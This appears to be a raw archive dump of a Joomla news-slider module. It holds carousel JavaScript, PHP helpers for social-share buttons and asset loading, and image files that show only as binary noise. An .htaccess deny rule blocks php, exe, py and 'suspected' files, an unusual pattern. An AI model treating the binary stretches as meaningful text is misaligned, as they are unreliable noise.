      if (this.$element.find('.next, .prev').length && $.support.nssp2transition.end) {
        this.$element.trigger($.support.nssp2transition.end)
        this.cycle(true)
      }
      clearInterval(this.interval)
      this.interval = null
      return this
    }

  , next: function () {
      if (this.sliding) return
      return this.nsspwalk('next')
    }

  , prev: function () {
      if (this.sliding) return
      return this.nsspwalk('prev')
    }

  , nsspwalk: function (type, next) {
      var $active = this.$element.find('.item.active')
        , $next = next || $active[type]()
        , isCycling = this.interval
        , direction = type == 'next' ? 'left' : 'right'
        , fallback  = type == 'next' ? 'first' : 'last'
        , that = this
        , e

      this.sliding = true

      isCycling && this.pause()

      $next = $next.length ? $next : this.$element.find('.item')[fallback]()

      e = $.Event('slide', {
        relatedTarget: $next[0]
      , direction: direction
      })

      if ($next.hasClass('active')) return

      if (this.$indicators.length) {
        this.$indicators.find('.active').removeClass('active')
        this.$element.one('walking', function () {
          var $nextIndicator = $(that.$indicators.children()[that.getActiveIndex()])
          $nextIndicator && $nextIndicator.addClass('active')
        })
      }

      if ($.support.nssp2transition && this.$element.hasClass('nssp2-slide')) {
        this.$element.trigger(e)
        if (e.isDefaultPrevented()) return
        $next.addClass(type)
        $next[0].offsetWidth // force reflow
        $active.addClass(direction)
        $next.addClass(direction)
        this.$element.one($.support.nssp2transition.end, function () {
          $next.removeClass([type, direction].join(' ')).addClass('active')
          $active.removeClass(['active', direction].join(' '))
          that.sliding = false
          setTimeout(function () { that.$element.trigger('walking') }, 0)
        })
      } else {
        this.$element.trigger(e)
        if (e.isDefaultPrevented()) return
        $active.removeClass('active')
        $next.addClass('active')
        this.sliding = false
        this.$element.trigger('walking')
      }

      isCycling && this.cycle()

      return this
    }

  }


 /* CAROUSEL PLUGIN DEFINITION
  * ========================== */

  var old = $.fn.nssp2

  $.fn.nssp2 = function (option) {
    return this.each(function () {
      var $this = $(this)
        , data = $this.data('nssp2')
        , options = $.extend({}, $.fn.nssp2.defaults, typeof option == 'object' && option)
        , action = typeof option == 'string' ? option : options.nsspwalk
      if (!data) $this.data('nssp2', (data = new newsShowSP2(this, options)))
      if (typeof option == 'number') data.to(option)
      else if (action) data[action]()
      else if (options.interval) data.pause().cycle()
    })
  }

  $.fn.nssp2.defaults = {
    interval: 5000
  , pause: 'hover'
  }

  $.fn.nssp2.Constructor = newsShowSP2


 /* CAROUSEL NO CONFLICT
  * ==================== */

  $.fn.nssp2.noConflict = function () {
    $.fn.nssp2 = old
    return this
  }

 /* CAROUSEL DATA-API
  * ================= */

  $(document).on('click.nssp2.data-api', '[data-nsspwalk], [data-nsspwalk-to]', function (e) {
    var $this = $(this), href
      , $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '')) //strip for ie7
      , options = $.extend({}, $target.data(), $this.data() )
      , slideIndex  

    $target.nssp2(options)

    if (slideIndex = $this.attr('data-nsspwalk-to')) {
      $target.data('nssp2').pause().to(slideIndex).cycle()
    }

    e.preventDefault()
  })

}(window.jQuery);





/* CSS TRANSITION SUPPORT (http://www.modernizr.com/)
 * ======================================================= */

!function ($) {

  "use strict"; // jshint ;_;


  $(function () {

    $.support.nssp2transition = (function () {

      var transitionEnd = (function () {

        var el = document.createElement('bootstrap')
          , transEndEventNames = {
               'WebkitTransition' : 'webkitTransitionEnd'
            ,  'MozTransition'    : 'transitionend'
            ,  'OTransition'      : 'oTransitionEnd otransitionend'
            ,  'transition'       : 'transitionend'
            }
          , name

        for (name in transEndEventNames){
          if (el.style[name] !== undefined) {
            return transEndEventNames[name]
          }
        }

      }())

      return transitionEnd && {
        end: transitionEnd
      }

    })()

  })

}(window.jQuery);PK!9�w\��4mod_news_show_sp2/assets/images/transparent_star.pngnu&1i��PNG


IHDR ���	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F�IDATxڬ�KhTg����N&7�J�qlL|vQA,#i�I�-���^JQ0 } -���JtU�.BBG��`]�(�qk�a�ޙ��3s��{��MHڤ��gs�������z���㣣��7����q��Ç4�n�644t��,�,K���.��B])x�ĉd<?e�a��Ok�k}``�b*��X,R,I�R���\^I�hcccWDd�%"444�m�6l� �H���#�:���W������@XU�C�6m�������:��ӈ�r�]�v�."�eY]ϟ?��
�l�d2#�D"a"��i�b��`۶�N��&T�L8p�`.��8�C$AD�y$�Z���f3�t� 0
T�4�P(�~���;---�J�E"B4%�������8�S��S�ūW����I�\�����377�i�\�v�(9�K'�Fw��J�V��<*�
�p���	�4w��;%�ɾJ�B�ZŲ�l:��O���ee��*�����ЊD�նm���=R���j����G������K,�U��@���)Hl	��J-"A�PdI#hbs��o��|�x���7�A��>����u5�N��R�2�6�����>-|�՘�����::�::��M�0z��s���L]��s��3m+�@��W�v�x]x>�֠wl���u�R�N�5ϵ�h*>�}Q�{-�r�<�T9��HÎw�Z��;|ǟ�Y���?�7�B�]�~�,��`j���-��o�_5P�{��������ޙ�מ��o��<8q�YƝ�E�lG�C<w��C1�S��0q�����y�k���\zqF��
��4!s*=�^��9�yp�Xk��a�}</x������R[�ul��<H��U3��/࿬�r~I�6�J5�J<��΃��u}~)�31C�v>�~�q������31�ԋ�6&��`�%g��)��:����{���シ����7����n ���`��xS�s��ق���IEND�B`�PK!��
h��(mod_news_show_sp2/assets/images/hits.pngnu&1i��PNG


IHDR
ͣ�9	pHYs��~�
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F�IDATx��ҿ+����
$�d�M�f���_�e��~,V���JY�M�Y�QRdP$���ˏ�������[���~;M�0"��;fff�[�9�	�FD�'�tb��Gp5(5��Ua}��-&q�È��Ԋ~���.��E�P��<�#�:3�p+o�wRfV��t����GX���F{7XD3�1So1����G����.�0���8����,���*�Q��Jf6�T�6��',ėFP�?����Z+]串IEND�B`�PK!���{��*mod_news_show_sp2/assets/images/loader.gifnu&1i�GIF89a�������������������������̿����⦦�����������䨨������������������������������!�NETSCAPE2.0!�Created with ajaxload.info!�	,-  �di���
���@�8�5p�{�۸�����@�.s��
E��B!�	,$`a`��i�����©�ҧ����X/(��;�!�	,6  ��a,�$	"c�b�(�ϴ��2�����[��K���ӸN��U*�N�!�	,5  ��ET��4b$I��<��uy�;�
�Ȅ>b�G��̑s9y�֋�*�R!!�	,2  �di�ֲX�DQ��H�bRUEɴ]�:^��f�_Q�#����c�J��!�	,7  �di�$q]���b�iمa�h㢶m�] ��a�.�M$��4_-66ˠ��R!�	,/  �di��DQ����r%R�
�5���p���Ěq��^-4CY��!�	,/  �di��DQ����r%R�
�5���p���Ěq��^-4CY��;PK!�a�(mod_news_show_sp2/assets/images/more.pngnu&1i��PNG


IHDR
�r	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�FPLTE������Ѭ�}tRNS��0J,IDATx�b`��L(�K000202BD�*`L��.�D��s'niz��IEND�B`�PK!o�V�,mod_news_show_sp2/assets/images/comments.pngnu&1i��PNG


IHDR�asBIT|d�	pHYs��~�tEXtSoftwareAdobe Fireworks CS3��FtEXtCreation Time2/17/08 ��XtEXtXML:com.adobe.xmp<?xpacket begin="   " id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c034 46.272976, Sat Jan 27 2007 22:11:41        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:xap="http://ns.adobe.com/xap/1.0/">
         <xap:CreatorTool>Adobe Fireworks CS3</xap:CreatorTool>
         <xap:CreateDate>2008-02-17T02:36:45Z</xap:CreateDate>
         <xap:ModifyDate>2008-03-24T19:00:42Z</xap:ModifyDate>
      </rdf:Description>
      <rdf:Description rdf:about=""
            xmlns:dc="http://purl.org/dc/elements/1.1/">
         <dc:format>image/png</dc:format>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                           5Rd=IDAT8�Ց1jA��]en Xl��X�$7�y{�%7�w��
6jm!؊0����)�.�nb�*?�����y����ɓ�XD�PU��(�z�������r�d�^��*"1��Yk�g��f�Z��4�T5	�1x�\.���c��{�p8�z�?��hu�Z
�`���{��s�ar:��,W�j�b���l6i�Z%{�IӔn�[�k|������b�`��E������l6c��hp���#����|�s�_�*"��
�^����V@����z=��97�L&8禷���n�@����b���TF�~����IEND�B`�PK!�#o,,*mod_news_show_sp2/assets/images/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!ަ5�E
E
/mod_news_show_sp2/assets/images/nav-buttons.pngnu&1i��PNG


IHDR()��	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�FpIDATx�ĕ�jA�?�<��֍��c��b]���m��H�i��
�Zc0&��`y�µC*�7����tV�M2�h�f�����?-$��)p���K�s��5�������O���eY>-�K���aĘL&3V��'�t:��z�Qp1���-f63�x)�(�C������:�<ߏ8��j�";���f6����E��h{�3)�7�}v�w�[�H
�{?����􀱙ͣ��c�'�>p(ߓ
�'M�n����O��L5p�`���v.��cl`l�/@|��g(��6���
�w0�P�����x�{���ڲ���܀�,��d2Y$5����{�ХC`�ϼ�0����|(��8��?Z��t�1�hf�����T���y
dQgf��h���,�'�o�'��5K��*�$���s�$�P�sn֠_
��z����Hԋ�L]G��Us6N�ܓ�Q����S�D��{���{E�!�7'Ia�
��+�V����yͮ"Y���3H�$F��V��u�����F�z�(�D-�m'I��[�6IEԺt��ʴ�V��|��$F�$��F�+�VPkD�{!(�:��j4��0��e��(�ht��IEND�B`�PK!l>�{{mod_news_show_sp2/social.phpnu&1i�<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

// no direct access
defined('_JEXEC') or die('Restricted access');

class modNSSP2SocialHelper {
	
	 public static function icons($data, $params) {
		
		$icons = array();
		$url = urldecode(JRoute::_(strstr($data->link, 'index.php')));
		$url = rtrim(JURI::base(),'/') . $url;
		
		if ($params->get('btn_like')) { // Facebook Like
			$icons[] = '<span class="ns2-share-icon"><div class="fb-like" data-href="' . $url . '" data-send="false" data-layout="button_count" data-width="80" data-show-faces="false"></div></span>';
			
			if (defined('_NS2LIKE')) {
			
				define ('_NS2LIKE', 1);
				
				echo '<div id="fb-root"></div>';
				JFactory::getDocument()->addScriptDeclaration('
				(function(d, s, id) {
				  var js, fjs = d.getElementsByTagName(s)[0];
				  if (d.getElementById(id)) return;
				  js = d.createElement(s); js.id = id;
				  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=354400064582736";
				  fjs.parentNode.insertBefore(js, fjs);
				}(document, \'script\', \'facebook-jssdk\'));
				');			
			}
			
		}
		
		if ($params->get('btn_twitter')) { //Twitter Button
			$icons[] = '<span class="ns2-share-icon"><a href="https://twitter.com/share" class="twitter-share-button" data-text="' . $data->title . '" data-url="' . $url . '">Tweet</a></span>';
			JFactory::getDocument()->addScript('http://platform.twitter.com/widgets.js');
		}
			
		if ($params->get('btn_gplus')) { // Goolge Plus Button
			$icons[] = '<span class="ns2-share-icon"><g:plusone href="' . $url . '" size="medium"></g:plusone></span>';
			JFactory::getDocument()->addScript('https://apis.google.com/js/plusone.js');
		}
					
		return $icons;
	 }
}PK!��3��%mod_news_show_sp2/elements/assets.phpnu&1i�<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );
jimport('joomla.form.formfield');

class JFormFieldAssets extends JFormField
{
	protected	$type = 'Assets';
	
	protected function getInput() {
		$doc = JFactory::getDocument();
		JHtml::_('jquery.framework');
		$doc->addScript(JURI::root(true).'/modules/mod_news_show_sp2/elements/js/script.js');
		$doc->addStylesheet(JURI::root(true).'/modules/mod_news_show_sp2/elements/css/style.css');			
		
		return null;
	}
}PK!�#o,,%mod_news_show_sp2/elements/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�)��$mod_news_show_sp2/elements/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�#o,,,mod_news_show_sp2/elements/images/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!s�Cbb0mod_news_show_sp2/elements/images/arrow_down.pngnu&1i��PNG


IHDR

�2Ͻ	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
